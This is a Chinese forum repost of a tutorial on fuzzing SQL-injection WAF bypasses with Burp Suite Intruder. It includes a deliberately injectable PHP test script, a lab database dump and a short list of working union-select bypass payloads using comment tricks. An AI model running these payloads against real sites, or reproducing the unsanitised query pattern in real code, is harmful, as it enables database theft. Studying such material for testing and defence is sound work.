搜索
查看: 718|回复: 0

Fuzzing---Sql injection bypass with BurpSuite

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-11-28 18:23:25 | 显示全部楼层 |阅读模式
原文链接:http://www.building.tk/index.php/archives/255/
前言
  • 纵观全网进行各种bypass的很少涉及具体测试过程,大多是直接放出payload。那么很快防护软件就会进行更新策略,有效的payload存活时间很短。
  • 最近也发现一些很nice的作者,会放出fuzz的脚本,这样就是“授之以渔”了,我们应该感谢作者的分享精神。
  • burpsuite是一款神器,很多操作都可以借助它来完成,也是我们做安全研究必备的一款工具。fuzz说白了就是不断地提交、不断地测试,看返回结果来判断payload是否有效,那么我们可以结合burpsuite的intruder模块来进行fuzz,同样可以达到很好的效果。
Fuzzing环境Fuzzing过程
先准备一个测试sql注入的脚本
  1. <title>Fuzzing 2dog</title>>
  2. <?php
  3. $link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('security', $link);

  4. $sql = 'select * from `users` where `id`='.$_REQUEST['id'];
  5. echo "执行的SQL语句<br />\n";
  6. echo $sql."<br>\n";
  7. $result =mysql_query($sql);

  8. while($array = mysql_fetch_assoc($result))
  9.     {
  10.         echo "<br />\n";
  11.         echo "Bypass 2dog success!";
  12.         echo "<br />\n";
  13.         echo "id=".$array['id']."<br />\n";
  14.         echo "username=".$array['username']."<br />\n";
  15.         echo "password=".$array['password']."<br />\n";
  16.     }
  17. echo mysql_error();
  18. ?>
复制代码
再来份数据库security
  1. DROP TABLE IF EXISTS `users`;
  2. CREATE TABLE `users` (
  3.   `id` int(3) NOT NULL AUTO_INCREMENT,
  4.   `username` varchar(20) NOT NULL,
  5.   `password` varchar(20) NOT NULL,
  6.   PRIMARY KEY (`id`)
  7. ) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=gbk;

  8. # Data for table "users"

  9. INSERT INTO `users` VALUES (1,'Dumb','Dumb'),(2,'Angelina','I-kill-you'),(3,'Dummy','p@ssword'),(4,'secure','crappy'),(5,'stupid','stupidity'),(6,'superman','genious'),(7,'batman','mob!le'),(8,'admin','admin'),(9,'admin1','admin1'),(10,'admin2','admin2'),(11,'admin3','admin3'),(12,'dhakkan','dumbo'),(14,'admin4','admin4');
复制代码
结语
放出一部分payload给伸手党吧,希望你们能掌握这种方便的fuzz方法,将burpsuite神技发扬光大。
  1. Bypass    `id`=1
  2. true    /*!union/*/*%0i*/select*/1,2,3
  3. true    /*!union/*/*%0j*/select*/1,2,3
  4. true    /*!union/*/*%0m*/select*/1,2,3
  5. true    /*!union/*/*%0x^*/select*/1,2,3
  6. true    /*!union/*/*%0z^*/select*/1,2,3
  7. true    /*!union/*/*%0y^*/select*/1,2,3
复制代码
另外:
  • 关于块注释/*和内联注释/*!
    /*/**/这样是等效于/**/的,mysql中/*!/*!*/是等效于/*!*/的
  • 关于内联注释/*!50100*/
    特别注意50100表示mysql的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload
  • 关于fuzz的point
    多尝试,多看看以往的bypass payload,就能从中找到一些规律,提高fuzz效率



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表